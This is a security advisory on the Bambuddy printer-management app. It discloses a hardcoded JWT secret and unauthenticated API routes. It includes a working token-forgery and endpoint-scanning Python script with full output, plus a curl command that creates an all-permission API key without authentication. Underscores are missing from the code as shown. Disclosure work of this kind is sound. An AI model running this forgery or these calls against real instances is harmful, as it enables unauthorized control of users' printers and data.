PT-2026-6421 — Bambuddy

PT-2026-6421 · Pypi · Bambuddy

Published

2026-02-02

Updated

2026-02-02

CVSS v3.1

9.8

Critical

Vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

A hardcoded secret key used for signing JWTs is checked into source code
ManyAPI routes do not check authentication

Details

I am using the publicly available docker image at ghcr.io/maziggy/bambuddy

1. Hardcoded JWT Secret Key

https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28

Copying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key

Any attacker can:

Forge valid JWT tokens for any user
Bypass authentication entirely
Gain full administrative access to any Bambuddy instance using the default key

Steps to Reproduce:

Run an instance of BamBuddy
Create admin user
Forge and use JWT:

import jwt
import requests

token = jwt.encode({"sub": "admin", "exp": 9999999999}, "bambuddy-secret-key-change-in-production", algorithm="HS256")
resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={"Authorization": f"Bearer {token}"})

print(resp.status code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base dir":"/app/data","archive dir":"/app/data/archive"},"database": ...

2. Most API Routes do not check Auth

While investigating the JWT forgery, I noticed that requests without Authorization headers still returned information for many endpoints:

resp = requests.get("http://10.0.0.4:8000/api/v1/system/info", headers={}) # Empty headers

print(resp.status code) # 200
print(resp.text) # {"app":{"version":"0.1.7b","base dir":"/app/data","archive dir":"/app/data/archive"},"database": ...

Full Script and Output

Note: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.

Script to test GET endpoints with forged JWT and without any auth

#!/usr/bin/env python3
"""
Proof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)
For security research purposes only.

Tests all GET endpoints to identify which are accessible without authentication.
"""

import requests
import jwt

# Hardcoded secret from backend/app/core/auth.py:28
HARDCODED SECRET = "bambuddy-secret-key-change-in-production"
TARGET = "http://10.0.0.4:8000"
API PREFIX = "/api/v1"

# All GET endpoints organized by router
ENDPOINTS = {
  "system": [
    "/system/info",
  ],
  "auth": [
    "/auth/status",
    "/auth/me",
  ],
  "users": [
    "/users",
    "/users/1",
    "/users/1/items-count",
  ],
  "groups": [
    "/groups",
    "/groups/permissions",
    "/groups/1",
  ],
  "settings": [
    "/settings",
    "/settings/check-ffmpeg",
    "/settings/spoolman",
    "/settings/backup",
    "/settings/virtual-printer/models",
    "/settings/virtual-printer",
    "/settings/mqtt/status",
  ],
  "printers": [
    "/printers/",
    "/printers/usb-cameras",
    "/printers/1",
    "/printers/1/status",
    "/printers/1/current-print-user",
    "/printers/1/cover",
    "/printers/1/files",
    "/printers/1/storage",
    "/printers/1/logging",
    "/printers/1/slot-presets",
    "/printers/1/slot-presets/1/1",
    "/printers/1/print/objects",
    "/printers/1/runtime-debug",
    "/printers/1/camera/status",
    "/printers/1/camera/test",
    "/printers/1/camera/plate-detection/status",
    "/printers/1/camera/plate-detection/references",
    "/printers/1/kprofiles/",
    "/printers/1/kprofiles/notes",
  ],
  "archives": [
    "/archives/",
    "/archives/search",
    "/archives/compare",
    "/archives/analysis/failures",
    "/archives/stats",
    "/archives/tags",
    "/archives/1",
    "/archives/1/similar",
    "/archives/1/duplicates",
    "/archives/1/capabilities",
    "/archives/1/gcode",
    "/archives/1/plates",
    "/archives/1/filament-requirements",
    "/archives/1/project-page",
    "/archives/1/source",
  ],
  "filaments": [
    "/filaments/",
    "/filaments/1",
    "/filaments/by-type/pla",
  ],
  "cloud": [
    "/cloud/status",
    "/cloud/settings",
    "/cloud/settings/1",
    "/cloud/devices",
    "/cloud/firmware-updates",
    "/cloud/fields",
    "/cloud/fields/print",
  ],
  "queue": [
    "/queue/",
    "/queue/1",
  ],
  "notifications": [
    "/notifications/",
    "/notifications/logs",
    "/notifications/logs/stats",
    "/notifications/1",
  ],
  "notification templates": [
    "/notification-templates",
    "/notification-templates/variables",
    "/notification-templates/1",
  ],
  "updates": [
    "/updates/version",
    "/updates/check",
    "/updates/status",
  ],
  "maintenance": [
    "/maintenance/types",
    "/maintenance/overview",
    "/maintenance/summary",
    "/maintenance/printers/1",
    "/maintenance/items/1/history",
  ],
  "external links": [
    "/external-links/",
    "/external-links/1",
  ],
  "projects": [
    "/projects",
    "/projects/templates",
    "/projects/1",
    "/projects/1/archives",
    "/projects/1/queue",
    "/projects/1/bom",
    "/projects/1/timeline",
  ],
  "library": [
    "/library/folders",
    "/library/folders/by-archive/1",
    "/library/folders/by-project/1",
    "/library/files",
    "/library/stats",
    "/library/folders/1",
    "/library/files/1",
    "/library/files/1/plates",
    "/library/files/1/gcode",
    "/library/files/1/filament-requirements",
  ],
  "api keys": [
    "/api-keys/",
    "/api-keys/1",
  ],
  "webhook": [
    "/webhook/printer/1/status",
    "/webhook/queue",
  ],
  "ams history": [
    "/ams-history/1/1",
  ],
  "support": [
    "/support/debug-logging",
    "/support/logs",
  ],
  "discovery": [
    "/discovery/info",
    "/discovery/status",
    "/discovery/printers",
    "/discovery/scan/status",
  ],
  "pending uploads": [
    "/pending-uploads/",
    "/pending-uploads/count",
    "/pending-uploads/1",
  ],
  "firmware": [
    "/firmware/updates",
    "/firmware/updates/1",
    "/firmware/latest",
  ],
  "github backup": [
    "/github-backup/config",
    "/github-backup/status",
    "/github-backup/logs",
  ],
  "metrics": [
    "/metrics",
  ],
}


def forge token():
  """Forge a valid JWT token using the hardcoded secret."""
  payload = {"sub": "admin", "exp": 9999999999}
  return jwt.encode(payload, HARDCODED SECRET, algorithm="HS256")


def test endpoint(endpoint, headers):
  """Test a single endpoint and return status."""
  try:
    resp = requests.get(f"{TARGET}{API PREFIX}{endpoint}", headers=headers, timeout=5)
    return resp.status code, resp.text[:100] if resp.status code == 200 else None
  except requests.RequestException as e:
    return "ERROR", str(e)[:50]


def main():
  token = forge token()
  print(f"[*] Forged JWT token:
  {token}
")

  # Test with no auth, then with forged JWT
  test modes = [
    ("NO AUTH", {}),
    ("FORGED JWT", {"Authorization": f"Bearer {token}"}),
  ]

  results = {"no auth": [], "jwt only": [], "both fail": []}

  print(f"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}
")
  print("=" * 70)

  for category, endpoints in ENDPOINTS.items():
    print(f"
[{category.upper()}]")

    for endpoint in endpoints:
      no auth status,  = test endpoint(endpoint, {})
      jwt status, preview = test endpoint(endpoint, {"Authorization": f"Bearer {token}"})

      if no auth status == 200:
        results["no auth"].append(endpoint)
        print(f" {endpoint}: NO AUTH REQUIRED")
      elif jwt status == 200:
        results["jwt only"].append(endpoint)
        print(f" {endpoint}: JWT WORKS")
      else:
        results["both fail"].append((endpoint, no auth status, jwt status))
        print(f" {endpoint}: {no auth status} / {jwt status}")

  # Summary
  print("
" + "=" * 70)
  print("
[SUMMARY]
")

  print(f"Endpoints accessible WITHOUT authentication ({len(results['no auth'])}):")
  for ep in results["no auth"]:
    print(f" - {ep}")

  print(f"
Endpoints accessible with FORGED JWT only ({len(results['jwt only'])}):")
  for ep in results["jwt only"]:
    print(f" - {ep}")

  print(f"
Endpoints that rejected both ({len(results['both fail'])}):")
  for ep, no auth, jwt auth in results["both fail"]:
    print(f" - {ep} (no auth: {no auth}, jwt: {jwt auth})")


if  name  == " main ":
  main()

Script output

[*] Forged JWT token:
  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA

[*] Testing 117 endpoints against http://10.0.0.4:8000

======================================================================

[SYSTEM]
 /system/info: NO AUTH REQUIRED

[AUTH]
 /auth/status: NO AUTH REQUIRED
 /auth/me: JWT WORKS

[USERS]
 /users: JWT WORKS
 /users/1: JWT WORKS
 /users/1/items-count: JWT WORKS

[GROUPS]
 /groups: JWT WORKS
 /groups/permissions: JWT WORKS
 /groups/1: JWT WORKS

[SETTINGS]
 /settings: NO AUTH REQUIRED
 /settings/check-ffmpeg: NO AUTH REQUIRED
 /settings/spoolman: NO AUTH REQUIRED
 /settings/backup: NO AUTH REQUIRED
 /settings/virtual-printer/models: NO AUTH REQUIRED
 /settings/virtual-printer: NO AUTH REQUIRED
 /settings/mqtt/status: NO AUTH REQUIRED

[PRINTERS]
 /printers/: JWT WORKS
 /printers/usb-cameras: JWT WORKS
 /printers/1: JWT WORKS
 /printers/1/status: JWT WORKS
 /printers/1/current-print-user: JWT WORKS
 /printers/1/cover: JWT WORKS
 /printers/1/files: JWT WORKS
 /printers/1/storage: JWT WORKS
 /printers/1/logging: JWT WORKS
 /printers/1/slot-presets: JWT WORKS
 /printers/1/slot-presets/1/1: JWT WORKS
 /printers/1/print/objects: JWT WORKS
 /printers/1/runtime-debug: JWT WORKS
 /printers/1/camera/status: NO AUTH REQUIRED
 /printers/1/camera/test: ERROR / ERROR
 /printers/1/camera/plate-detection/status: NO AUTH REQUIRED
 /printers/1/camera/plate-detection/references: NO AUTH REQUIRED
 /printers/1/kprofiles/: ERROR / ERROR
 /printers/1/kprofiles/notes: NO AUTH REQUIRED

[ARCHIVES]
 /archives/: NO AUTH REQUIRED
 /archives/search: 422 / 422
 /archives/compare: 422 / 422
 /archives/analysis/failures: NO AUTH REQUIRED
 /archives/stats: NO AUTH REQUIRED
 /archives/tags: NO AUTH REQUIRED
 /archives/1: NO AUTH REQUIRED
 /archives/1/similar: NO AUTH REQUIRED
 /archives/1/duplicates: NO AUTH REQUIRED
 /archives/1/capabilities: NO AUTH REQUIRED
 /archives/1/gcode: NO AUTH REQUIRED
 /archives/1/plates: NO AUTH REQUIRED
 /archives/1/filament-requirements: NO AUTH REQUIRED
 /archives/1/project-page: NO AUTH REQUIRED
 /archives/1/source: 404 / 404

[FILAMENTS]
 /filaments/: NO AUTH REQUIRED
 /filaments/1: NO AUTH REQUIRED
 /filaments/by-type/pla: NO AUTH REQUIRED

[CLOUD]
 /cloud/status: NO AUTH REQUIRED
 /cloud/settings: 401 / 401
 /cloud/settings/1: 401 / 401
 /cloud/devices: 401 / 401
 /cloud/firmware-updates: 401 / 401
 /cloud/fields: NO AUTH REQUIRED
 /cloud/fields/print: NO AUTH REQUIRED

[QUEUE]
 /queue/: NO AUTH REQUIRED
 /queue/1: 404 / 404

[NOTIFICATIONS]
 /notifications/: NO AUTH REQUIRED
 /notifications/logs: NO AUTH REQUIRED
 /notifications/logs/stats: NO AUTH REQUIRED
 /notifications/1: 404 / 404

[NOTIFICATION TEMPLATES]
 /notification-templates: NO AUTH REQUIRED
 /notification-templates/variables: NO AUTH REQUIRED
 /notification-templates/1: NO AUTH REQUIRED

[UPDATES]
 /updates/version: NO AUTH REQUIRED
 /updates/check: NO AUTH REQUIRED
 /updates/status: NO AUTH REQUIRED

[MAINTENANCE]
 /maintenance/types: NO AUTH REQUIRED
 /maintenance/overview: NO AUTH REQUIRED
 /maintenance/summary: NO AUTH REQUIRED
 /maintenance/printers/1: NO AUTH REQUIRED
 /maintenance/items/1/history: NO AUTH REQUIRED

[EXTERNAL LINKS]
 /external-links/: NO AUTH REQUIRED
 /external-links/1: 404 / 404

[PROJECTS]
 /projects: NO AUTH REQUIRED
 /projects/templates: NO AUTH REQUIRED
 /projects/1: NO AUTH REQUIRED
 /projects/1/archives: NO AUTH REQUIRED
 /projects/1/queue: NO AUTH REQUIRED
 /projects/1/bom: NO AUTH REQUIRED
 /projects/1/timeline: NO AUTH REQUIRED

[LIBRARY]
 /library/folders: NO AUTH REQUIRED
 /library/folders/by-archive/1: NO AUTH REQUIRED
 /library/folders/by-project/1: NO AUTH REQUIRED
 /library/files: NO AUTH REQUIRED
 /library/stats: NO AUTH REQUIRED
 /library/folders/1: NO AUTH REQUIRED
 /library/files/1: 404 / 404
 /library/files/1/plates: 404 / 404
 /library/files/1/gcode: 404 / 404
 /library/files/1/filament-requirements: 404 / 404

[API KEYS]
 /api-keys/: NO AUTH REQUIRED
 /api-keys/1: NO AUTH REQUIRED

[WEBHOOK]
 /webhook/printer/1/status: 401 / 401
 /webhook/queue: 401 / 401

[AMS HISTORY]
 /ams-history/1/1: NO AUTH REQUIRED

[SUPPORT]
 /support/debug-logging: NO AUTH REQUIRED
 /support/logs: NO AUTH REQUIRED

[DISCOVERY]
 /discovery/info: NO AUTH REQUIRED
 /discovery/status: NO AUTH REQUIRED
 /discovery/printers: NO AUTH REQUIRED
 /discovery/scan/status: NO AUTH REQUIRED

[PENDING UPLOADS]
 /pending-uploads/: NO AUTH REQUIRED
 /pending-uploads/count: NO AUTH REQUIRED
 /pending-uploads/1: 404 / 404

[FIRMWARE]
 /firmware/updates: NO AUTH REQUIRED
 /firmware/updates/1: NO AUTH REQUIRED
 /firmware/latest: NO AUTH REQUIRED

[GITHUB BACKUP]
 /github-backup/config: NO AUTH REQUIRED
 /github-backup/status: NO AUTH REQUIRED
 /github-backup/logs: NO AUTH REQUIRED

[METRICS]
 /metrics: 401 / 401

======================================================================

[SUMMARY]

Endpoints accessible WITHOUT authentication (77):
 - /system/info
 - /auth/status
 - /settings
 - /settings/check-ffmpeg
 - /settings/spoolman
 - /settings/backup
 - /settings/virtual-printer/models
 - /settings/virtual-printer
 - /settings/mqtt/status
 - /printers/1/camera/status
 - /printers/1/camera/plate-detection/status
 - /printers/1/camera/plate-detection/references
 - /printers/1/kprofiles/notes
 - /archives/
 - /archives/analysis/failures
 - /archives/stats
 - /archives/tags
 - /archives/1
 - /archives/1/similar
 - /archives/1/duplicates
 - /archives/1/capabilities
 - /archives/1/gcode
 - /archives/1/plates
 - /archives/1/filament-requirements
 - /archives/1/project-page
 - /filaments/
 - /filaments/1
 - /filaments/by-type/pla
 - /cloud/status
 - /cloud/fields
 - /cloud/fields/print
 - /queue/
 - /notifications/
 - /notifications/logs
 - /notifications/logs/stats
 - /notification-templates
 - /notification-templates/variables
 - /notification-templates/1
 - /updates/version
 - /updates/check
 - /updates/status
 - /maintenance/types
 - /maintenance/overview
 - /maintenance/summary
 - /maintenance/printers/1
 - /maintenance/items/1/history
 - /external-links/
 - /projects
 - /projects/templates
 - /projects/1
 - /projects/1/archives
 - /projects/1/queue
 - /projects/1/bom
 - /projects/1/timeline
 - /library/folders
 - /library/folders/by-archive/1
 - /library/folders/by-project/1
 - /library/files
 - /library/stats
 - /library/folders/1
 - /api-keys/
 - /api-keys/1
 - /ams-history/1/1
 - /support/debug-logging
 - /support/logs
 - /discovery/info
 - /discovery/status
 - /discovery/printers
 - /discovery/scan/status
 - /pending-uploads/
 - /pending-uploads/count
 - /firmware/updates
 - /firmware/updates/1
 - /firmware/latest
 - /github-backup/config
 - /github-backup/status
 - /github-backup/logs

Endpoints accessible with FORGED JWT only (20):
 - /auth/me
 - /users
 - /users/1
 - /users/1/items-count
 - /groups
 - /groups/permissions
 - /groups/1
 - /printers/
 - /printers/usb-cameras
 - /printers/1
 - /printers/1/status
 - /printers/1/current-print-user
 - /printers/1/cover
 - /printers/1/files
 - /printers/1/storage
 - /printers/1/logging
 - /printers/1/slot-presets
 - /printers/1/slot-presets/1/1
 - /printers/1/print/objects
 - /printers/1/runtime-debug

Endpoints that rejected both (20):
 - /printers/1/camera/test (no auth: ERROR, jwt: ERROR)
 - /printers/1/kprofiles/ (no auth: ERROR, jwt: ERROR)
 - /archives/search (no auth: 422, jwt: 422)
 - /archives/compare (no auth: 422, jwt: 422)
 - /archives/1/source (no auth: 404, jwt: 404)
 - /cloud/settings (no auth: 401, jwt: 401)
 - /cloud/settings/1 (no auth: 401, jwt: 401)
 - /cloud/devices (no auth: 401, jwt: 401)
 - /cloud/firmware-updates (no auth: 401, jwt: 401)
 - /queue/1 (no auth: 404, jwt: 404)
 - /notifications/1 (no auth: 404, jwt: 404)
 - /external-links/1 (no auth: 404, jwt: 404)
 - /library/files/1 (no auth: 404, jwt: 404)
 - /library/files/1/plates (no auth: 404, jwt: 404)
 - /library/files/1/gcode (no auth: 404, jwt: 404)
 - /library/files/1/filament-requirements (no auth: 404, jwt: 404)
 - /webhook/printer/1/status (no auth: 401, jwt: 401)
 - /webhook/queue (no auth: 401, jwt: 401)
 - /pending-uploads/1 (no auth: 404, jwt: 404)
 - /metrics (no auth: 401, jwt: 401)

While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested POST /api/v1/api-keys/ and was able to create a new API key with all permissions without auth:

curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","can queue":true,"can control printer":true,"can read status":true}'

yields

{"id":7,"name":"new key","key prefix":"bb QW2su...","can queue":true,"can control printer":true,"can read status":true,"printer ids":null,"enabled":true,"last used":null,"created at":"2026-02-01T23:14:15","expires at":null,"key":"bb QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}

Impact

BamBuddy is vulnerable to unauthorized access and control

Fix

Missing Authentication

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-321CWE-306

Related Identifiers

GHSA-GC24-PX2R-5QMF

Affected Products

Bambuddy